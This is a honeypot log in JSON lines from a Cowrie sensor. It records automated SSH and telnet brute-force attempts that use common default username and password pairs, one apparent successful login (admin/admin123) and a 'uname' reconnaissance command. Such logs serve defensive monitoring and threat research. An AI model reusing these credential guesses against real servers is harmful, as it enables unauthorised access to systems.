{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:19.519625Z","src_ip":"83.168.110.85","session":"0be7223af746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55432,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1d91c0426d7","protocol":"ssh","message":"New connection: 83.168.110.85:55432 (10.17.0.5:22) [session: e1d91c0426d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:25.009439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:25.014804Z","src_ip":"83.168.110.85","session":"e1d91c0426d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:25.135685Z","src_ip":"83.168.110.85","session":"e1d91c0426d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:25.500820Z","src_ip":"83.168.110.85","session":"e1d91c0426d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:26.892373Z","src_ip":"83.168.110.85","session":"e1d91c0426d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55448,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3da3f9ab7df","protocol":"ssh","message":"New connection: 83.168.110.85:55448 (10.17.0.5:22) [session: f3da3f9ab7df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:31.956562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:31.961441Z","src_ip":"83.168.110.85","session":"f3da3f9ab7df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:32.088521Z","src_ip":"83.168.110.85","session":"f3da3f9ab7df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:32.458650Z","src_ip":"83.168.110.85","session":"f3da3f9ab7df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:33.616837Z","src_ip":"83.168.110.85","session":"f3da3f9ab7df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":55974,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c2167479179","protocol":"ssh","message":"New connection: 43.153.65.139:55974 (10.17.0.5:22) [session: 4c2167479179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:35.394203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:35.399030Z","src_ip":"43.153.65.139","session":"4c2167479179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:35.468581Z","src_ip":"43.153.65.139","session":"4c2167479179","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2012","message":"login attempt [root/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:35.777189Z","src_ip":"43.153.65.139","session":"4c2167479179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:36.848726Z","src_ip":"43.153.65.139","session":"4c2167479179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37672,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7deb5e792e6","protocol":"ssh","message":"New connection: 83.168.110.85:37672 (10.17.0.5:22) [session: e7deb5e792e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:39.361302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:39.451034Z","src_ip":"83.168.110.85","session":"e7deb5e792e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:39.674062Z","src_ip":"83.168.110.85","session":"e7deb5e792e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:40.092886Z","src_ip":"83.168.110.85","session":"e7deb5e792e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:41.221150Z","src_ip":"83.168.110.85","session":"e7deb5e792e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43610,"dst_ip":"10.17.0.5","dst_port":22,"session":"100c0b6e14f7","protocol":"ssh","message":"New connection: 83.168.110.85:43610 (10.17.0.5:22) [session: 100c0b6e14f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:46.498600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:46.503569Z","src_ip":"83.168.110.85","session":"100c0b6e14f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:46.624457Z","src_ip":"83.168.110.85","session":"100c0b6e14f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:46.988668Z","src_ip":"83.168.110.85","session":"100c0b6e14f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:48.424473Z","src_ip":"83.168.110.85","session":"100c0b6e14f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43626,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7799413f0cb","protocol":"ssh","message":"New connection: 83.168.110.85:43626 (10.17.0.5:22) [session: c7799413f0cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:53.351526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:53.357398Z","src_ip":"83.168.110.85","session":"c7799413f0cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:53.479282Z","src_ip":"83.168.110.85","session":"c7799413f0cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:53.845518Z","src_ip":"83.168.110.85","session":"c7799413f0cb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:54.137279Z","src_ip":"83.168.110.85","session":"c7799413f0cb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:54.141296Z","src_ip":"83.168.110.85","session":"c7799413f0cb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:54.266225Z","src_ip":"83.168.110.85","session":"c7799413f0cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:54.272327Z","src_ip":"83.168.110.85","session":"c7799413f0cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":55438,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c6a22221c3a","protocol":"ssh","message":"New connection: 43.153.50.142:55438 (10.17.0.5:22) [session: 7c6a22221c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:58.749862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:58.772530Z","src_ip":"43.153.50.142","session":"7c6a22221c3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:58.840750Z","src_ip":"43.153.50.142","session":"7c6a22221c3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhang123456","message":"login attempt [root/zhang123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:46:59.146467Z","src_ip":"43.153.50.142","session":"7c6a22221c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:00.219140Z","src_ip":"43.153.50.142","session":"7c6a22221c3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46520,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7c969abbe2a","protocol":"ssh","message":"New connection: 83.168.110.85:46520 (10.17.0.5:22) [session: b7c969abbe2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:00.438672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:00.531269Z","src_ip":"83.168.110.85","session":"b7c969abbe2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:00.801934Z","src_ip":"83.168.110.85","session":"b7c969abbe2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:01.214433Z","src_ip":"83.168.110.85","session":"b7c969abbe2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:02.359543Z","src_ip":"83.168.110.85","session":"b7c969abbe2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54856,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9677710c907","protocol":"telnet","message":"New connection: 152.42.224.71:54856 (10.17.0.5:23) [session: b9677710c907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:47:06.843619Z"}
